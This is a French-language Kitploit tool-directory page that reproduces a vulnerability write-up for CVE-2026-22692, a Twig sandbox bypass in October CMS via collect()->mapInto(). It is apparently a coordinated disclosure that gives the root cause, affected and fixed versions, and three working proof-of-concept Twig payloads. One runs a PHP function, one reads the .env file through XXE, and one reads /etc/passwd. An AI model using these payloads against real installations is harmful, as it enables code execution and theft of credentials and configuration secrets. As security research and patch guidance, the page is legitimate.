Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-22692 — CVE-2026-22692 - Contournement critique du bac à sable Twig via collect()->mapInto() permettant RCE/LFI/XXE dans October CMS | Kitploit
Outils/GitHubGitHub/lukasz-rybak/cve-2026-22692
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebArticles et RechercheApprentissage et Éducation
GitHublukasz-rybak/cve-2026-22692

CVE-2026-22692

CVE-2026-22692 - Contournement critique du bac à sable Twig via collect()->mapInto() permettant RCE/LFI/XXE dans October CMS

Voir le dépôt
2il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-22692: Contournement critique du bac à sable Twig via collect()->mapInto() permettant RCE/LFI/XXE (October CMS)

Aperçu

ChampDétails
Identifiant CVECVE-2026-22692
SévéritéModérée (CVSS:3.1 4.9)
AvisGHSA-m5qg-jc75-4jp6
Produit affectéOctober CMS (<= 4.1.4, <= 3.7.12)
Type de vulnérabilitéContournement du bac à sable Twig -> RCE, LFI, XXE
Découvert parLukasz Rybak

Classification CWE

  • CWE-693 : Défaillance du mécanisme de protection
  • CWE-611 : Restriction inadéquate des références aux entités externes XML
  • CWE-74 : Neutralisation inadéquate des éléments spéciaux dans la sortie utilisée par un composant en aval ('Injection')

Résumé

Une vulnérabilité critique existe dans le bac à sable Twig (mode sécurisé) d'October CMS, permettant aux utilisateurs authentifiés disposant de privilèges d'édition de modèles de contourner les restrictions de sécurité et d'exécuter du code PHP arbitraire (RCE) ou de lire des fichiers arbitraires (XXE/LFI) sur le serveur.

Détails

Cause racine

La cause racine se trouve dans October\Rain\Support\SafeCollection. Cette classe implémente l'interface CallsAnyMethod, qui indique à System\Twig\SecurityPolicy de contourner la liste blanche de méthodes standard pour l'objet collection lui-même.

Bien que SafeCollection tente de filtrer les arguments pour empêcher l'exécution directe de callables, il ne bloque pas la méthode mapInto($class). La méthode mapInto itère sur la collection et instancie le nom de classe fourni :

root@kitploit:~
new $class($value, $key);

Cela permet à un attaquant d'instancier n'importe quelle classe connue de l'application.

Vulnérabilité 1 : RCE (Exécution de fonctions)

La System\Twig\SecurityPolicy met explicitement en liste blanche la méthode __toString() sur tous les objets. En instanciant Psy\Readline\Hoa\Xcallable (qui encapsule un callable) et en l'enveloppant dans un GuzzleHttp\Psr7\FnStream (qui appelle une fonction définie par l'utilisateur dans sa méthode __toString via la propriété _fn___toString), un attaquant peut déclencher l'exécution de fonctions PHP arbitraires ne nécessitant aucun argument (par exemple, php_uname, phpinfo) simplement en affichant l'objet dans Twig.

Vulnérabilité 2 : XXE (Lecture arbitraire de fichiers)

La classe SimpleXMLElement accepte un indicateur d'option libxml comme deuxième argument de son constructeur. mapInto() passe la clé de la collection comme deuxième argument au constructeur. En créant une collection avec une clé de 2 (qui correspond à LIBXML_NOENT), un attaquant peut activer la substitution d'entités externes dans SimpleXMLElement, conduisant à une XXE immédiate et à la capacité de lire des fichiers système.

Vulnérabilité 3 : LFI (Lecture arbitraire de fichiers via SplFileObject)

Une vulnérabilité d'inclusion locale de fichier (LFI) plus directe existe en utilisant la classe native PHP SplFileObject. En instanciant SplFileObject avec un chemin de fichier et un mode de lecture (transmis via mapInto), un attaquant obtient un objet fichier itérable. Passer cet objet à l'assistant collect() déclenche une itération immédiate (via iterator_to_array dans le noyau du framework), ce qui contourne la politique de blocage de méthode du bac à sable. Cela permet de lire n'importe quel fichier auquel le serveur web a accès, sans nécessiter de support XML ou de bibliothèques tierces spécifiques.

PoC (Preuve de concept)

Prérequis

  • Accès authentifié au backend d'October CMS (ou à toute fonctionnalité permettant l'édition de modèles Twig)
  • CMS_SAFE_MODE=true

Payload 1 : RCE (Exécuter php_uname)

root@kitploit:~
{% set clsX = 'Psy.Readline.Hoa.Xcallable'|replace({'.': '\\'}) %}
{% set clsF = 'GuzzleHttp.Psr7.FnStream'|replace({'.': '\\'}) %}

{% set x = collect({'': 'php_uname'}).mapInto(clsX).first() %}

{% set methods = {'__toString': x} %}
{% set f = collect([methods]).mapInto(clsF).first() %}

Informations système : {{ f }}

Payload 2 : XXE (Lire le fichier .env)

root@kitploit:~
{% set xml_payload = '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY b SYSTEM "file:///var/www/html/.env">]><root>&b;</root>' %}

{# Utiliser la clé '2' (LIBXML_NOENT) pour activer la substitution d'entités dans SimpleXMLElement #}
{% set x = collect({2: xml_payload}).mapInto('SimpleXMLElement').first() %}

CONTENU DU FICHIER (.env) :
{{ x }}

Payload 3 : LFI (Lire /etc/passwd via SplFileObject)

root@kitploit:~
{% set target = '/etc/passwd' %}
{% set file = collect({'r': target}).mapInto('SplFileObject').first() %}
{% set content = collect(file) %}

Résultat LFI :
{{ content.join('') }}

Impact

Exécution de code à distance (RCE), Inclusion locale de fichier (LFI), Injection d'entité externe XML (XXE).

  • RCE : Permet l'exécution de code PHP (limité aux fonctions sans argument avec le gadget FnStream, mais potentiellement extensible avec d'autres gadgets).
  • LFI / XXE : Permet la lecture de tout fichier sur le système de fichiers du serveur auquel l'utilisateur web a accès (y compris /etc/passwd, configuration de la base de données, .env, etc.) via plusieurs vecteurs (SimpleXMLElement ou SplFileObject).

Cela affecte toute installation d'October CMS où des utilisateurs non fiables ou semi-fiables ont accès à l'éditeur de modèles du CMS, leur permettant effectivement d'élever leurs privilèges au niveau Administrateur système / Root.

Produits affectés

  • Paquet : octobercms/october (Packagist)
  • Versions affectées : <= 4.1.4, <= 3.7.12
  • Corrigé dans : 4.1.5, 3.7.13

Références

  • https://github.com/octobercms/october/security/advisories/GHSA-m5qg-jc75-4jp6
  • https://nvd.nist.gov/vuln/detail/CVE-2026-22692

Avertissement

Ce CVE a été divulgué de manière responsable conformément aux pratiques de divulgation coordonnée de vulnérabilités. Les informations fournies ici sont uniquement à des fins éducatives et défensives.

Télécharger l’outil